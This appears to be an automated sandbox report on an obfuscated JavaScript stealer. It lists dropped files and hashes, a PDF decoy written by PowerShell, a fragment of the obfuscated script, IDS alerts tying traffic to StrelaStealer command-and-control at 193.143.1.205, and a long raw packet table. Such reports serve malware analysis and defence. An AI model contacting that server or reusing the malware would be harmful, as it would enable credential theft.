Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b8b40c7c-4ba5-47ad-be4b-a1d0dce0bd2e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d0fbb146-5edb-4ca6-8a88-b070b94518d7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15252), with CRLF line terminators
Entropy (8bit):	4.920276185646231
TrID:
File name:	2227274219703378.js
File size:	18'656 bytes
MD5:	09fc4019e4fffa944516549b71912e81
SHA1:	d403900e4235d1a5b585609ebab317e3537f8b9d
SHA256:	e6dfbabd51dbfa59f1bd83710c29cf8d8460621071d735eada6ebfebb55cb2ba
SHA512:	e37cc809492cc85a1ad7d7c0a3024ed415595bceba7fde53273359f732af21feb361f4ca664a727954e309435d34cbc741930fdd0a7b3b2a79921243fb949556
SSDEEP:	384:4/18VAntwFQaL7jEaurqtx+D2aK+XjcTHZcPTcj93bz0HDG1Ek:4aVAntmQaL7jEauryh5nSP293b6Rk
TLSH:	958231948E14918F48D18568564285F99868868C88F7D0ECE8B436FCCFEAB79D3D307F
File Content Preview:	function wuisdg(){okmmuhdkx=[1031,3079,5127,4103,2055,3072];var tcblx=this[yctmtv+xbcfzzjvq+lecimm+mnmtrna+keuki+yyqcv+rupdx+kynagi](this[dqivka+gfomes+cevfpdrzd+lecimm+psjgym+yctmtv+kynagi][psfpkasd+lecimm+keuki+xbcfzzjvq+kynagi+keuki+lzygudom+chvib+vnjh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:04:06.639472+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T06:04:06.639472+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T06:04:09.325041+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49738	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:04:05.786179066 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:05.793370008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:05.793500900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:05.796792030 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:05.801541090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639360905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639377117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639398098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639416933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639430046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639448881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639461040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639472961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639472008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.639486074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639508009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.639517069 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.639564991 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.644499063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.644515038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.644529104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.644570112 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.700028896 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.701976061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.701992035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.702055931 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.767340899 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767359972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767445087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.767607927 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767621040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767642975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767657042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767668009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.767669916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.767712116 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.768440008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768487930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768542051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.768733025 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768748045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768760920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768800020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768800974 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.768812895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.768873930 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.769709110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.769721031 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.769732952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.769789934 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.769817114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.769831896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.769875050 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.770700932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.770724058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.770751953 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.825052023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.834351063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.834367990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.834393024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.834451914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.875406981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.875423908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.875435114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.875524044 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.875571012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.896616936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896630049 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896642923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896661997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896672010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896693945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896694899 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.896707058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.896735907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.897089005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897102118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897120953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897131920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897144079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897145987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.897157907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897171021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.897175074 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.897197008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.897211075 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.898156881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898169994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898183107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898195982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898211002 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898222923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898225069 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.898235083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.898260117 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.898284912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.899106026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899118900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899133921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899146080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899157047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899168968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899175882 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.899180889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899188995 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.899230003 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.899916887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899935961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899947882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899959087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.899990082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.900006056 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.900024891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900038004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900053024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900075912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.900868893 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900912046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900923014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900935888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.900971889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.924858093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.924870968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.924904108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.924954891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.924966097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:06.924968004 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.925015926 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.925026894 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.953125954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:06.966008902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.003792048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.003813982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.003881931 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.004200935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.004214048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.004226923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.004237890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.004249096 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.004261017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.004275084 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.004292965 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.024899960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.024924040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.024938107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.024986029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.024996996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025012016 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025046110 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025110960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025130987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025149107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025295019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025306940 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025320053 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025331020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025343895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025345087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025368929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025378942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025562048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025600910 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025612116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025652885 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025782108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025840998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025851965 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025866032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025888920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025897980 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.025899887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.025969028 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.026194096 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026206017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026218891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026263952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.026341915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026354074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026365995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026376963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026390076 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.026391029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026403904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026416063 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.026427031 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.026923895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026946068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026963949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026977062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.026988029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027013063 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027075052 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027089119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027108908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027122021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027203083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027215004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027228117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027241945 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027241945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027256012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027275085 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027872086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027884960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027896881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027909994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027921915 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027954102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.027966022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027977943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.027990103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028002024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028012037 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.028024912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028053045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.028057098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028069019 CET	80	49722	193.143.1.205	192.168.2.10
